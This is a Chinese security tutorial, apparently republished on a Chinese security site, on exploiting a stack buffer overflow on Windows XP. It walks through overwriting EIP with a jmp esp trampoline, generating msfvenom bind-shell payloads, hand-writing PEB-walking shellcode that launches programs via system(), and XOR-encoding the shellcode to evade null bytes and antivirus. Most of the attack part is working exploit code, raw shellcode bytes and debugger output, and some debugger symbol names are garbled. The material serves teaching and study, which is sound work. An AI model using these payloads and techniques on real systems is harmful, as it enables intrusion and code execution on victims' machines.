从栈溢出到简单的shellcode开发

0x00 简介

相信诸君对”缓冲区溢出(buffer overflow)”这个术语不陌生,这是计算机软件中的常见漏洞,起源可以追溯到冯·诺依曼时代,因为制定的体系结构没有对数据和指令进行严格的划分,攻击者找到溢出漏洞后可以达到函数劫持、拒绝服务、命令执行等目的.这种技术相对于web安全,就像是华山剑派中的气宗和剑宗.气宗更注重内力的修习,起笔之前,假设诸君对汇编语言、计算机系统、c语言有一定的了解.

0x01 基础知识

缓冲区溢出可以分为堆溢出和栈溢出. 堆跟栈是两片不同架构的内存区域. 堆:程序运行时动态申请而分配的空间,大小不固定,可动态扩展.特点是需要主动申请:例如c语言中的malloc函数,申请的内存添加到堆上,堆被扩大. 主动释放:例如free函数,假如不主动释放,就会造成内存泄漏.

栈: 栈在程序运行时自动产生,负责保存进程的运行上下文,当函数调用时,逻辑上会在栈中开辟一块新区域, 我们称之为栈帧(stack frame),栈帧内保存调用的参数、返回值,包括上一级函数的返回地址.例如:

void test(){
 ...
}
main(){
 test();
 ...
}

例如main函数中调用test函数,假如有参数 逻辑上新建的栈帧中会保存参数,并且会保存main函数的地址,test函数执行完成后用来返回到main函数,回到原先的栈帧.然后继续执行下面的代码.

逻辑上新开辟的栈帧已经消失,但物理保存的数据并不会消失, 栈的溢出原理就是参数的值超出了缓冲区的大小,覆盖了返回地址,函数调用完成后,返回到了攻击者指定的地址去执行代码.

要达到命令执行的目的,攻击者通常会精心构造一段数据作为参数传给有漏洞的函数,这段数据中包含攻击负载,就是常说的shellcode.

此外还有三个重要的寄存器:

  1. 代码的执行指针eip,永远指向下一条要执行的指令
  2. 栈帧的最顶端以两个指针界定,ebp为帧指针,永远指向栈底,
  3. esp为栈指针,永远指向栈顶

1

可以看到栈是向低地址方向增长的,在汇编中调用一个函数,通常是用call xxx,xxx可以是绝对地址也可以是间接地址,在call跳到目标地址之前,会先将当前函数的返回地址压入到当前栈帧中,然后创建新的栈帧

来看一下函数调用,相关的汇编代码,这里就以MessageBoxEx为例,函数原型:

int MessageBoxEx (HWND hWnd,LPCTSTR lpText, LPCTSTR IpCaption, UINT UType, WORD wLanguageld);
77D5081C 6A 00 PUSH 0
77D5081E FF75 14 PUSH DWORD PTR SS:[EBP+14]
77D50821 FF75 10 PUSH DWORD PTR SS:[EBP+10]
77D50824 FF75 0C PUSH DWORD PTR SS:[EBP+C]
77D50827 FF75 08 PUSH DWORD PTR SS:[EBP+8]
77D5082A E8 2D000000 CALL user32.MessageBoxExA

如果没有明确的调用约定,参数以从右往左的方式传入 跳到目标地址

push ebp
mov ebp,esp
sub esp,xxx

;some code

add esp,xxx
pop ebp
ret

ebp压入新的栈帧,将esp的值给ebp,之后再将esp指针下拉(抬高了栈顶), 逻辑上这就算开辟了一块新的栈帧,函数主要命令执行完毕后,降低栈顶,恢复帧指针.逻辑上回收了栈帧空间.ret返回到调用之前的代码区

0x02简单的缓冲区溢出示例

#include <stdio.h>
#include <string.h>
char name[]="test";
void test(char * a)
{
 char output[8];
 strcpy(output,a);
 printf("%s\n",output);
}

int main()
{
 test(name);
 return 0;
}

这里我用一个简单的小程序演示一下缓冲区溢出,现在先不谈aslr、dep、safeSeh等

编译环境:vc++6.0

os: windows xp sp3

2

漏洞出在strcpy函数函数上,没有对传入的变量进行长度检查导致溢出.output变量开辟了8个字节的缓冲区空间,我们只要传入超出8字节的数据,就会发生错误,可能会覆盖ebp 甚至eip

3

提示在61616161地址上发生错误.61就是字母a的ascii编码,也就是说aaaa覆盖了eip,而此处没有合法的指令地址,触发异常,假设我们给出一个合法的指令地址,就成功的控制了程序的执行流程.

在strcpy函数上下断

4

f7跟进后

00401020 >/> 55 PUSH EBP
00401021 |. 8BEC MOV EBP,ESP
00401023 |. 83EC 48 SUB ESP,48
00401026 |. 53 PUSH EBX
00401027 |. 56 PUSH ESI
00401028 |. 57 PUSH EDI
00401029 |. 8D7D B8 LEA EDI,DWORD PTR SS:[EBP-48]
0040102C |. B9 12000000 MOV ECX,12
00401031 |. B8 CCCCCCCC MOV EAX,CCCCCCCC
00401036 |. F3:AB REP STOS DWORD PTR ES:[EDI]
00401038 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
0040103B |. 50 PUSH EAX
0040103C |. 8D4D F8 LEA ECX,DWORD PTR SS:[EBP-8]
0040103F |. 51 PUSH ECX
00401040 |. E8 0B010000 CALL test.strcpysgzeHeaderListdstalled
00401045 |. 83C4 08 ADD ESP,8
00401048 |. 8D55 F8 LEA EDX,DWORD PTR SS:[EBP-8]
0040104B |. 52 PUSH EDX ; /Arg2
0040104C |. 68 1C004200 PUSH OFFSET test.??_C@_03HHKO@?$CFs?6?$A>; |Arg1 = 0042001C ASCII "%s
"
00401051 |. E8 7A000000 CALL test.printfgvdbgresholdnterctsled ; \printfgvdbgresholdnterctsled
00401056 |. 83C4 08 ADD ESP,8
00401059 |. 5F POP EDI
0040105A |. 5E POP ESI
0040105B |. 5B POP EBX
0040105C |. 83C4 48 ADD ESP,48
0040105F |. 3BEC CMP EBP,ESP
00401061 |. E8 DA010000 CALL test.__chkespleBuffers@4ingsW@4loca>
00401066 |. 8BE5 MOV ESP,EBP
00401068 |. 5D POP EBP
00401069 \. C3 RETN

在pop ebp执行后,ret执行前,查看寄存器状态

5

ret,成功覆盖eip

6

f5a6f5f98592c35b

0x03控制eip,定位到shellcode

在上古时代,基于栈的缓冲区溢出是用调试器来确定一个shellcode的绝对地址,但有漏洞的函数通常在dll中,dll被动态加载,栈也会动态变化,不同的系统api函数的地址也不同,我们来看一个例子:

int main(){
 int local;
 printf("local at %p\n",&local);
 return 0;
}

在32位的linux栈随机化的情况下,运行10000次这段代码,地址变化为0xff7fa7e0到0xffffd7e0,范围大约是2^23. 地址不固定原因导致溢出漏洞无法通用利用.由此延伸出一些布置shellcode的技巧,例如用nop淹没大片区域,之后再写入shellcode,运气好只要能进入这一片nop内,shellcode就得以执行. 直到1998年,黑客组织”Cult of the Dead Cow”的dildog首次提出用jmp esp完成shellcode定位.

在上面的图片中可以看到,ret之后,esp会指向aaaa后面的数据(shellcode). 找到一处命令为jmp esp的地址就可以精准定位shellcode.

程序被读入内存空间,一些系统dll会被加载,例如kernel32.dll、ntdll.dll、user32.dll.在核心dll地址不浮动的情况下,搜索出”jmp esp”的地址做为跳板,jmp esp对应机器码是0xFFE4,在相应dll内内存搜索即可. 当时做实验的时候 没装vc,用python的ctypes模块写了一个.提示冲突的话以system权限运行.

#!/usr/bin/python
from ctypes import *

user32WinDllAddr=windll.kernel32.GetModuleHandleA('user32')
#string_at(user32WinDllAddr,1)

while 1:
 try:
 if string_at(user32WinDllAddr,2)=='\xff\xe4':
 print 'jmp esp va addr:\t'+str(hex(user32WinDllAddr))
 user32WinDllAddr+=1

except:
 break

8

也可用msfpescan

root@kali:/usr/share/framework2# ./msfpescan -f /root/kernel32.dll -j esp 
0x7c86467b jmp esp
  • 大端机小端机的区别:

在几乎所有的机器上,多字节对象被存储为连续的字节序列,对象的地址为所使用字节序列中最低字节地e址。 小端:某些机器选择在存储器中按照从最低有效字节到最高有效字节的顺序存储对象,这种最低有效字节在最前面的表示方式被称为小端法(little endian) 。这样的存储模式有点儿类似于把数据当作字符串顺序处理:地址由小向大增加,而数据从高位往低位放; 大端:某些机器则按照从最高有效字节到最低有效字节的顺序储存,这种最高有效字节在最前面的方式被称为大端法(big endian) 。这种存储模式将地址的高低和数据位权有效地结合起来,高地址部分权值高,低地址部分权值低,和我们的逻辑方法一致。

9

eip已经跳到0x7c86467b,此时esp指向shellcode. f8跟进

10

test code:

#include <stdio.h>
#include <string.h>
char name[]="\x61\x61\x61\x61"
 "\x61\x61\x61\x61"
 "\x7b\x46\x86\x7c" //pop ebp
 "\x7b\x46\x86\x7c" //ret eip
 "\x61\x61\x61\x61"; //shell code
void test(char * a)
{
 char output[8];
 strcpy(output,a);
 printf("%s\n",output);
}

int main()
{
 test(name);
 return 0;
}

0x04 生成shellcode.

msfvenom已经整合了msfencode和msfpayload的功能

root@kali:~# msfvenom --help
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
 -p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
 --payload-options List the payload's standard options
 -l, --list [type] List a module type. Options are: payloads, encoders, nops, all
 -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
 -f, --format <format> Output format (use --help-formats for a list)
 --help-formats List available formats
 -e, --encoder <encoder> The encoder to use
 -a, --arch <arch> The architecture to use
 --platform <platform> The platform of the payload
 --help-platforms List available platforms
 -s, --space <length> The maximum size of the resulting payload
 --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
 -b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
 -i, --iterations <count> The number of times to encode the payload
 -c, --add-code <path> Specify an additional win32 shellcode file to include
 -x, --template <path> Specify a custom executable file to use as a template
 -k, --keep Preserve the template behavior and inject the payload as a new thread
 -o, --out <path> Save the payload
 -v, --var-name <name> Specify a custom variable name to use for certain output formats
 --smallest Generate the smallest possible payload
 -h, --help Show this message

example:

msfvenom -p windows/shell/bind_tcp -b ‘\x00’ -f c

这里我测试的时候,shellcode必须小于206字节.msfvenom的payload普遍在300字节以上. 或者上网搜那种不考虑环境问题的简短shellcode

#include <stdio.h>
#include <string.h>
char name[]="\x61\x61\x61\x61"
 "\x61\x61\x61\x61"
 "\x7b\x46\x86\x7c"
 "\x7b\x46\x86\x7c"
 "\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
 "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
 "\x65\x20\x2f\x63\x20\x63\x6d\x64";
void test(char * a)
{
 char output[8];
 strcpy(output,a);
 printf("%s\n",output);
}

int main()
{
 test(name);
 return 0;
}

或者动手编写,这之前再看一个基础知识点:

  1. 基址(image base):pe文件装入内存时的基地址,例如exe文件在内存中的基址是0x00400000.
  2. 虚拟内存地址(virtual addr,VA):pe文件中的指令被装入内存时的地址.
  3. 相对虚拟地址(relative virtual addr,RVA):内存地址相对于映射基址的偏移量.
    三者关系: VA=RVA+基址.

编写shellcode也是有章可循的,不同版本的windows加载dll有不同的基址. 为了shellcode能在任何不可预料的环境工作(是否aslr),目标api的地址不能用绝对地址.那么只有相对了,因为shellcode可以导入任何dll并调用其函数,如果漏洞程序已经导入了LoadLibrary和GetProcAddress函数最好,但真实情况往往没那么顺利.

假设我们shellcode的目的是运行cmd.exe,winexe、shellexecute(shellexecuteEx)、createprocess可以实现,前两个api最终都是createprocess实现,而createprocess是kernel32.dll的导出函数. 目前用的最广泛的办法是通过进程控制模块(PEB)来确定dll的导出表,并确定程序运行时所需api在内存中的虚拟地址. PEB是一种进程结构,类似的还有TEB线程控制模块(Thread Environment Block)

操作步骤:

1.通过段寄存器fs确定找到当前的线程控制模块TEB,PEB位于fs:[0x30]地址的double word里,通过这个指针即可获得PEB地址 code:

__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}

TEB结构:

+0x000 NtTib : _NT_TIB 
 +0x01c EnvironmentPointer : Ptr32 Void
 +0x020 ClientId : _CLIENT_ID //
 +0x028 ActiveRpcHandle : Ptr32 Void
 +0x02c ThreadLocalStoragePointer : Ptr32 Void
 +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
 +0x034 LastErrorValue : Uint4B
 +0x038 CountOfOwnedCriticalSections : Uint4B
 +0x03c CsrClientThread : Ptr32 Void
 +0x040 Win32ThreadInfo : Ptr32 Void
 +0x044 User32Reserved : [26] Uint4B
 +0x0ac UserReserved : [5] Uint4B
 +0x0c0 WOW32Reserved : Ptr32 Void
 +0x0c4 CurrentLocale : Uint4B
 +0x0c8 FpSoftwareStatusRegister : Uint4B
 +0x0cc SystemReserved1 : [54] Ptr32 Void
 +0x1a4 ExceptionCode : Int4B
 +0x1a8 ActivationContextStack : _ACTIVATION_CONTEXT_STACK
 +0x1bc SpareBytes1 : [24] UChar
 +0x1d4 GdiTebBatch : _GDI_TEB_BATCH
 +0x6b4 RealClientId : _CLIENT_ID
 +0x6bc GdiCachedProcessHandle : Ptr32 Void
 +0x6c0 GdiClientPID : Uint4B
 +0x6c4 GdiClientTID : Uint4B
 +0x6c8 GdiThreadLocalInfo : Ptr32 Void
 +0x6cc Win32ClientInfo : [62] Uint4B
 +0x7c4 glDispatchTable : [233] Ptr32 Void
 +0xb68 glReserved1 : [29] Uint4B
 +0xbdc glReserved2 : Ptr32 Void
 +0xbe0 glSectionInfo : Ptr32 Void
 +0xbe4 glSection : Ptr32 Void
 +0xbe8 glTable : Ptr32 Void
 +0xbec glCurrentRC : Ptr32 Void
 +0xbf0 glContext : Ptr32 Void
 +0xbf4 LastStatusValue : Uint4B
 +0xbf8 StaticUnicodeString : _UNICODE_STRING
 +0xc00 StaticUnicodeBuffer : [261] Uint2B
 +0xe0c DeallocationStack : Ptr32 Void
 +0xe10 TlsSlots : [64] Ptr32 Void
 +0xf10 TlsLinks : _LIST_ENTRY
 +0xf18 Vdm : Ptr32 Void
 +0xf1c ReservedForNtRpc : Ptr32 Void
 +0xf20 DbgSsReserved : [2] Ptr32 Void
 +0xf28 HardErrorsAreDisabled : Uint4B
 +0xf2c Instrumentation : [16] Ptr32 Void
 +0xf6c WinSockData : Ptr32 Void
 +0xf70 GdiBatchCount : Uint4B
 +0xf74 InDbgPrint : UChar
 +0xf75 FreeStackOnTermination : UChar
 +0xf76 HasFiberData : UChar
 +0xf77 IdealProcessor : UChar
 +0xf78 Spare3 : Uint4B
 +0xf7c ReservedForPerf : Ptr32 Void
 +0xf80 ReservedForOle : Ptr32 Void
 +0xf84 WaitingOnLoaderLock : Uint4B
 +0xf88 Wx86Thread : _Wx86ThreadState
 +0xf94 TlsExpansionSlots : Ptr32 Ptr32 Void
 +0xf98 ImpersonationLocale : Uint4B
 +0xf9c IsImpersonating : Uint4B
 +0xfa0 NlsCache : Ptr32 Void
 +0xfa4 pShimData : Ptr32 Void
 +0xfa8 HeapVirtualAffinity : Uint4B
 +0xfac CurrentTransactionHandle : Ptr32 Void
 +0xfb0 ActiveFrame : Ptr32 _TEB_ACTIVE_FRAME
 +0xfb4 SafeThunkCall : UChar
 +0xfb5 BooleanSpare : [3] UChar

TEB若干指针各偏移说明: FS:[000] 指向SEH链指针 FS:[004] 线程堆栈顶部 FS:[008] 线程堆栈底部 FS:[00C] SubSystemTib FS:[010] FiberData FS:[014] ArbitraryUserPointer FS:[018] 指向TEB自身 FS:[020] 进程PID FS:[024] 线程ID FS:[02C] 指向线程局部存储指针 FS:[030] PEB结构地址(进程结构) FS:[034] 上个错误号

PEB结构:

typedef struct _PEB { 
 000h UCHAR InheritedAddressSpace;
 001h UCHAR ReadImageFileExecOptions;
 002h UCHAR BeingDebugged; 
 003h UCHAR SpareBool;
 004h HANDLE Mutant;
 008h HINSTANCE ImageBaseAddress; 
 00Ch struct _PEB_LDR_DATA *Ldr //Ptr32 _PEB_LDR_DATA
 010h struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
 014h ULONG SubSystemData;
 018h HANDLE DefaultHeap;
 01Ch KSPIN_LOCK FastPebLock;
 020h ULONG FastPebLockRoutine;
 024h ULONG FastPebUnlockRoutine;
 028h ULONG EnvironmentUpdateCount;
 02Ch ULONG KernelCallbackTable;
 030h LARGE_INTEGER SystemReserved;
 038h struct _PEB_FREE_BLOCK *FreeList
 03Ch ULONG TlsExpansionCounter;
 040h ULONG TlsBitmap;
 044h LARGE_INTEGER TlsBitmapBits;
 04Ch ULONG ReadOnlySharedMemoryBase;
 050h ULONG ReadOnlySharedMemoryHeap;
 054h ULONG ReadOnlyStaticServerData;
 058h ULONG AnsiCodePageData;
 05Ch ULONG OemCodePageData;
 060h ULONG UnicodeCaseTableData;
 064h ULONG NumberOfProcessors;
 068h LARGE_INTEGER NtGlobalFlag; // Address of a local copy
 070h LARGE_INTEGER CriticalSectionTimeout;
 078h ULONG HeapSegmentReserve;
 07Ch ULONG HeapSegmentCommit;
 080h ULONG HeapDeCommitTotalFreeThreshold;
 084h ULONG HeapDeCommitFreeBlockThreshold;
 088h ULONG NumberOfHeaps;
 08Ch ULONG MaximumNumberOfHeaps;
 090h ULONG ProcessHeaps;
 094h ULONG GdiSharedHandleTable;
 098h ULONG ProcessStarterHelper;
 09Ch ULONG GdiDCAttributeList;
 0A0h KSPIN_LOCK LoaderLock;
 0A4h ULONG OSMajorVersion;
 0A8h ULONG OSMinorVersion;
 0ACh USHORT OSBuildNumber;
 0AEh USHORT OSCSDVersion;
 0B0h ULONG OSPlatformId;
 0B4h ULONG ImageSubsystem;
 0B8h ULONG ImageSubsystemMajorVersion;
 0BCh ULONG ImageSubsystemMinorVersion;
 0C0h ULONG ImageProcessAffinityMask;
 0C4h ULONG GdiHandleBuffer[0x22];
 14Ch ULONG PostProcessInitRoutine;
 150h ULONG TlsExpansionBitmap;
 154h UCHAR TlsExpansionBitmapBits[0x80];
 1D4h ULONG SessionId;
} PEB, *PPEB;

2.在PEB偏移0x0c处,就是指向_PEB_LDR_DATA的指针,表示加载dll的列表. 3.在LDR结构中确定kernel32.dll

typedef struct _PEB_LDR_DATA
{
 ULONG Length; // 00h
 BOOLEAN Initialized; // 04h
 PVOID SsHandle; // 08h
 LIST_ENTRY InLoadOrderModuleList; // 0ch
 LIST_ENTRY InMemoryOrderModuleList; // 14h
 LIST_ENTRY InInitializationOrderModuleList; // 1ch
}

LDR结构偏移0x1c处指向InInitializationOrderModuleList链表.此链表第一个节点是ntdll.dll,第二个是kernel32.dll.
在节点”kernel32.dll”偏移0x08处就是kernel32.dll在内存中的加载基址.

4.在kernel32.dll的加载基址算起,偏移0x3c地方就是PE头.

5.pe头偏移0x78处存放指向函数导出表的指针,0x18到0x1B保存导出的函数数量,0x1c处指向api的RVA,0x20到0x23保存导出函数名的偏移量. 精准定位Loadlibrary和GetProcAddress后,定位其他api就容易多了.

11

在对多api进行匹配的时候,假设用全字符匹配会占用很多的栈空间,这里我们用hash将字符串设为一个定长.匹配时对链表内的api进行同样的hash运算即可.

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fname)
{
 printf("%s",fname);
 DWORD dret = 0;
 while(*fname)
 {
 dret = ((dret<<25)|(dret>>7));
 dret += *fname;
 fname++;
 }
 printf(" function`s hash is %.8x\n",dret);
 return dret;
}
int main(int argc, char* argv[])
{
 Gethash("ExitProcess");
 GetHash("MessageBoxA");
 GetHash("LoadLibraryA");
 GetHash("GetProcAddress");
 return 0;
}

经过hash后的字符串定长4字节. MessageBoxA functions hash is 1e380a6a ExitProcess functions hash is 4fd18963 LoadLibraryA functions hash is 0c917432 GetProcAddress functions hash is bbafdf85

当然,我们可以随意设计hash将输出定长控制的更短,kernel32.dll导出函数900+,在能达到目的的前提下可以接受hash碰撞. 在用到的api比较少的情况下,用hash运算就得不偿失了,因为要在shellcode里加入hash运算的代码和字符串匹配的代码. 看以下代码:

int main() 
{ 
 __asm{ 
 nop; 
 nop; 
 nop; 
 nop; 
 nop; 
 nop; 
 nop;

push ebp; 
 mov esi,fs:0x30; //PEB 
 mov esi, [esi + 0x0C]; //+0x00c Ldr : Ptr32 _PEB_LDR_DATA 
 mov esi, [esi + 0x1C]; //+0x01c InInitializationOrderModuleList : _LIST_ENTRY 
next_module: 
 mov ebp, [esi + 0x08]; 
 mov edi, [esi + 0x20]; 
 mov esi, [esi]; 
 cmp [edi + 12*2],cl; 
 jne next_module; 
 mov edi,ebp;

//寻找GetProcAddress地址 
 sub esp,100; 
 mov ebp,esp; 
 mov eax,[edi+3ch];//PE头 
 mov edx,[edi+eax+78h] 
 add edx,edi; 
 mov ecx,[edx+18h];//函数数量 
 mov ebx,[edx+20h]; 
 add ebx,edi; 
search: 
 dec ecx; 
 mov esi,[ebx+ecx*4]; 
 add esi,edi; 
 mov eax,0x50746547; 
 cmp [esi],eax; 
 jne search; 
 mov eax,0x41636f72; 
 cmp [esi+4],eax; 
 jne search; 
 mov ebx,[edx+24h]; 
 add ebx,edi; 
 mov cx,[ebx+ecx*2]; 
 mov ebx,[edx+1ch]; 
 add ebx,edi; 
 mov eax,[ebx+ecx*4]; 
 add eax,edi; 
 mov [ebp+76],eax;//eax为GetProcAddress地址

//获取LoadLibrary地址 
 push 0; 
 push 0x41797261; 
 push 0x7262694c; 
 push 0x64616f4c; 
 push esp 
 push edi 
 call [ebp+76] 
 mov[ebp+80],eax;

//获取ExitProcess地址 
 push 0; 
 push 0x737365; 
 push 0x636f7250; 
 push 0x74697845; 
 push esp; 
 push edi; 
 call [ebp+76]; 
 mov [ebp+84],eax;

//加载msvcrt.dll LoadLibrary("msvcrt") 
 push 0; 
 push 0x7472; 
 push 0x6376736d; 
 push esp; 
 call [ebp+80]; 
 mov edi,eax;

//获取system地址 
 push 0; 
 push 0x6d65; 
 push 0x74737973; 
 push esp; 
 push edi; 
 call [ebp+76]; 
 mov [ebp+92],eax;

//system("calc") 
 push 0; 
 push 0x636c6163; 
 push esp; 
 call [ebp+92];

//ExitProcess 
 call [ebp+84];

nop; 
 nop; 
 nop; 
 nop; 
 nop; 
 } 
 return 0; 
}

增加nop是为了在编辑器的16进制模式下便于提取shellcode.当然你也可以用od搜索命令来提取.或者直接用Asm2MachineCode.

提取shellcode如下:

"\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF\x55\x5C\xFF\x55\x54"

可以看到在shellcode里含有些许null字节(\x00),字符串函数遇到null会终止,那么只有对shellcode进行加密了. 最常见的方法就是xor异或加密,早年做过免杀的朋友对此一定不陌生.看流程图:

12

网上有一些用c写的异或加密算法,然后在shellcode头部解密,其实完全用汇编来写更方便

0042605E 60 PUSHAD
0042605F B8 7D604200 MOV EAX,0042607D
00426064 33C9 XOR ECX,ECX
00426066 8A1C08 MOV BL,BYTE PTR DS:[EAX+ECX]
00426069 80FB 90 CMP BL,90
0042606C 74 0F JE SHORT aaa.00426077
0042606E 80F3 9A XOR BL,9A
00426071 881C08 MOV BYTE PTR DS:[EAX+ECX],BL
00426074 41 INC ECX
00426075 ^EB EF JMP SHORT aaa.00426066
00426077 90 POPAD

在任意程序里,添加一个区段,写入加密算法和shellcode

13

控制eip再执行一次就可以恢复shellcode.

14

算法是测试随手写的,加密的起始位置我写的绝对地址0042607D,真实情况当然不是这样的,溢出时eip指向esp,应该改成mov eax,esp,然后还得跳过算法部分,累加在eax寄存器上,add eax,单字节地址总共三个字节,在这句指令之后还有20个字节,所以是23,换算16进制是17.

算法如下:

00426065 8BC4 MOV EAX,ESP
00426067 83C0 16 ADD EAX,16
0042606A 33C9 XOR ECX,ECX
0042606C 8A1C08 MOV BL,BYTE PTR DS:[EAX+ECX]
0042606F 80FB 90 CMP BL,90
00426072 74 09 JE SHORT eeee.0042607D
00426074 80F3 9A XOR BL,9A
00426077 881C08 MOV BYTE PTR DS:[EAX+ECX],BL
0042607A 41 INC ECX
0042607B ^EB EF JMP SHORT eeee.0042606C

异或算法24字节+shellcode201字节>206.注释掉ExitProcess即可满足长度要求

/*
 //获取ExitProcess地址 
 push 0; 
 push 0x737365; 
 push 0x636f7250; 
 push 0x74697845; 
 push esp; 
 push edi; 
 call [ebp+76]; 
 mov [ebp+84],eax; 
*/
...
//call [ebp+84]

0x05 参考

《深入理解计算机系统》

《shellcoder编程揭秘》

《0day安全2》

 

 

*来源:pr0mise  Mottoin小编整理发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/article/terminal/86821.html

发表评论

登录后才能评论

评论列表(1条)

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code